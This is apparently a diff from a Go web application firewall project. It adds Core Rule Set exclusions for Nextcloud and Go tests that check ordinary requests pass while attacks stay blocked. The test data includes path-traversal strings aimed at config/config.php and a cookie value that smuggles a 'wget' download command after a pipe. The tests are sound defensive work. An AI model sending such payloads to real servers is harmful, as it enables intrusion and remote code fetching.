ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
||||
|
||||
# A comment on a file, in the JSON field message of a new comment, and in the
|
||||
# XML body of an edited one. It skips the rules for sentences too. An edited
|
||||
# comment's XML holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
||||
"id:900114,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.message "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
||||
"id:900115,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932380;XML:/*"
|
||||
|
||||
# The Files app's search sends its words in the XML body of a SEARCH request,
|
||||
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
||||
"id:900116,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq SEARCH" \
|
||||
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
||||
ctl:ruleRemoveTargetById=932260;XML:/*"
|
||||
|
||||
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
||||
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
||||
"id:900117,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.name "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||
|
||||
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
||||
# paths is a file, not form data. Read as fields, a JSON file holding
|
||||
# "python3 -m pytest" was refused (932260), and an XML file holding
|
||||
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
||||
# RAW, a kind of body sww does not read. Its headers, path and query are
|
||||
# still checked.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||
"id:900118,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||
@@ -0,0 +1,516 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"html"
|
||||
"maps"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
// nextcloudPreview is a public share's preview of a file.
|
||||
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
|
||||
|
||||
// nextcloudUsers is the OCS API's list of accounts.
|
||||
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
||||
|
||||
// nextcloudShares is the OCS API's list of shares.
|
||||
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
||||
|
||||
// nextcloudStatus is where the OCS API sets an account's status.
|
||||
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
|
||||
|
||||
// nextcloudFiles is the WebDAV folder of the account admin.
|
||||
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
||||
|
||||
// nextcloudSave is where the text editor saves a document.
|
||||
const nextcloudSave = "/apps/text/session/1/save"
|
||||
|
||||
// The WebDAV methods the Files app's search and a comment's edit use, and
|
||||
// the method the sync client lists a folder with.
|
||||
const (
|
||||
nextcloudSearch = "SEARCH"
|
||||
nextcloudPropPatch = "PROPPATCH"
|
||||
nextcloudPropFind = "PROPFIND"
|
||||
)
|
||||
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudQueryFields = []string{
|
||||
"/login?user=",
|
||||
"/login?redirect_url=",
|
||||
"/index.php/login?user=",
|
||||
"/apps/files/?dir=",
|
||||
"/apps/files/files/134?dir=",
|
||||
"/index.php/apps/files/?dir=",
|
||||
nextcloudPreview + "?file=",
|
||||
nextcloudShare + "/download?path=",
|
||||
nextcloudShare + "/download?path=%2F&files=",
|
||||
nextcloudUsers + "?search=",
|
||||
nextcloudUsers + "/details?search=",
|
||||
"/ocs/v2.php/cloud/groups?search=",
|
||||
"/ocs/v1.php/cloud/groups/details?search=",
|
||||
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
||||
nextcloudShares + "?path=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
||||
}
|
||||
|
||||
// nextcloudFormFields are the form data fields that skip the four rules, each
|
||||
// on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{"/login", "user="},
|
||||
{"/login", passwordField},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
{nextcloudUsers + "/admin", "value="},
|
||||
{"/ocs/v2.php/cloud/groups", "groupid="},
|
||||
{nextcloudShares, "path="},
|
||||
{nextcloudShares, "label="},
|
||||
{nextcloudShares, "shareWith="},
|
||||
}
|
||||
|
||||
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
|
||||
// path. It holds %s, where a value goes, written as the body's type needs.
|
||||
type nextcloudBody struct{ method, target, contentType, body string }
|
||||
|
||||
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
||||
// on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudBodies = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
||||
{
|
||||
http.MethodPut, nextcloudUsers + "/admin",
|
||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||
{
|
||||
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudDocument is the text of a document the text editor saves, which
|
||||
// skips the rules for code blocks too.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var nextcloudDocument = nextcloudBody{
|
||||
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
|
||||
}
|
||||
|
||||
// nextcloudTexts are the fields that hold what a person writes, which skip
|
||||
// the rules for sentences too: a document, a comment, a share's note and an
|
||||
// account's status.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudTexts = []nextcloudBody{
|
||||
nextcloudDocument,
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||
{
|
||||
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
||||
`</d:propertyupdate>`,
|
||||
},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
||||
{
|
||||
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
||||
formData, "note=%s",
|
||||
},
|
||||
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
|
||||
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
|
||||
}
|
||||
|
||||
// nextcloudSentences are sentences recorded in the texts, which rules
|
||||
// refused there.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudSentences = []string{
|
||||
"It is fixed; diff attached",
|
||||
"Run python3 or powershell; ls -la shows .htaccess",
|
||||
"We need more time; find the old notes first",
|
||||
"Tested on Windows; powershell works",
|
||||
}
|
||||
|
||||
// nextcloudCodeBlock is a shell script in a code block of a document, as
|
||||
// recorded.
|
||||
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
||||
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
|
||||
|
||||
// nextcloudBodyScore returns the request that sends value, which is not
|
||||
// escaped, in sent's body, and the score crs gives it.
|
||||
func nextcloudBodyScore(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
||||
) (string, int) {
|
||||
t.Helper()
|
||||
|
||||
switch sent.contentType {
|
||||
case formData:
|
||||
value = url.QueryEscape(value)
|
||||
case jsonBody:
|
||||
quoted, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
value = string(quoted[1 : len(quoted)-1])
|
||||
case xmlBody:
|
||||
value = html.EscapeString(value)
|
||||
}
|
||||
|
||||
body := strings.Replace(sent.body, "%s", value, 1)
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
|
||||
return sent.method + " " + sent.target + " " + body, got.Score
|
||||
}
|
||||
|
||||
// nextcloudFieldScores returns the score that the Core Rule Set, reading
|
||||
// bodies, gives each request that sends value, a query value, in one of the
|
||||
// fields that skip the four rules, keyed by the request.
|
||||
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
crs := readingBodies(t)
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range nextcloudQueryFields {
|
||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudFormFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
||||
}
|
||||
|
||||
written, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudBodies {
|
||||
request, score := nextcloudBodyScore(t, crs, sent, written)
|
||||
scores[request] = score
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
// nextcloudTextScores returns the score that the Core Rule Set, reading
|
||||
// bodies, gives each request that sends text, which is not escaped, in one of
|
||||
// the texts, keyed by the request.
|
||||
func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
crs := readingBodies(t)
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, sent := range nextcloudTexts {
|
||||
request, score := nextcloudBodyScore(t, crs, sent, text)
|
||||
scores[request] = score
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, value := range hardValues {
|
||||
for request, score := range nextcloudFieldScores(t, value) {
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sentence := range nextcloudSentences {
|
||||
for request, score := range nextcloudTextScores(t, sentence) {
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
||||
|
||||
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fconfig%2Fconfig.php",
|
||||
scriptInjection,
|
||||
} {
|
||||
written, err := url.QueryUnescape(attack)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
scores := nextcloudFieldScores(t, attack)
|
||||
maps.Copy(scores, nextcloudTextScores(t, written))
|
||||
|
||||
for request, score := range scores {
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// A shell command after a ";" reaches Nextcloud only in the texts.
|
||||
for request, score := range nextcloudFieldScores(t, commandInjection) {
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
cookie := func(value string) request {
|
||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||
}
|
||||
|
||||
for _, value := range hardValues {
|
||||
name, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
wantResult(t, crs, cookie(name), matched())
|
||||
}
|
||||
|
||||
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
"../../config/config.php",
|
||||
scriptTag,
|
||||
"x|wget http://example.com/x.sh",
|
||||
} {
|
||||
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_other=python3 let through: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, method := range []string{
|
||||
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
|
||||
nextcloudSearch, "LOCK", "UNLOCK",
|
||||
} {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
||||
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched())
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
||||
}
|
||||
}
|
||||
|
||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||
}
|
||||
|
||||
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
||||
// them, which rules refused when they read them as fields.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudUploads = []struct{ name, contentType, body string }{
|
||||
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
|
||||
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
|
||||
}
|
||||
|
||||
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, upload := range nextcloudUploads {
|
||||
uploaded := request{
|
||||
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, uploaded, upload.body)
|
||||
if got.Score >= nextcloudThreshold {
|
||||
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
|
||||
}
|
||||
|
||||
for _, refused := range []request{
|
||||
// Elsewhere, or with another method, the body is read.
|
||||
{http.MethodPost, "/", uploaded.headers},
|
||||
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
|
||||
{http.MethodPost, uploaded.target, uploaded.headers},
|
||||
// The query is still checked.
|
||||
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
|
||||
} {
|
||||
got, _ := inspectBody(t, crs, refused, upload.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
||||
|
||||
for _, method := range methods {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles + "../../../config/config.php",
|
||||
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
||||
} {
|
||||
got := inspect(t, crs, request{method, target, nil})
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", method, target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?dir=python3",
|
||||
"/apps/other/?dir=python3",
|
||||
"/apps/files/?other=python3",
|
||||
"/login?other=python3",
|
||||
"/x/login?user=python3",
|
||||
nextcloudShare + "?files=powershell",
|
||||
"/?file=powershell",
|
||||
// Each public share path keeps the rules on the other's fields.
|
||||
nextcloudPreview + "?files=powershell",
|
||||
nextcloudShare + "/download?file=powershell",
|
||||
"/?search=python3",
|
||||
nextcloudUsers + "?other=python3",
|
||||
"/x/ocs/v2.php/cloud/users?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []nextcloudBody{
|
||||
// A JSON field of the same name in the query keeps the rules.
|
||||
{
|
||||
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
||||
jsonBody, `{"message":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
||||
jsonBody, `{"value":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, nextcloudUsers + "?json.userid=python3",
|
||||
jsonBody, `{"userid":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut, nextcloudShares + "/1?json.note=python3",
|
||||
jsonBody, `{"note":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPut, nextcloudStatus + "?json.message=python3",
|
||||
jsonBody, `{"message":"python3"}`,
|
||||
},
|
||||
// Other JSON fields keep them.
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
|
||||
// A note or a status on another OCS path keeps them.
|
||||
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
|
||||
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
|
||||
// XML on another path, or with another method, keeps them.
|
||||
{
|
||||
nextcloudSearch, nextcloudFiles,
|
||||
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
|
||||
},
|
||||
{
|
||||
nextcloudPropPatch, nextcloudFiles + "notes.txt",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
{
|
||||
"REPORT", "/remote.php/dav/comments/files/1/2",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
} {
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
+1342
File diff suppressed because it is too large.
Load diff
Reference in new issue
Block a user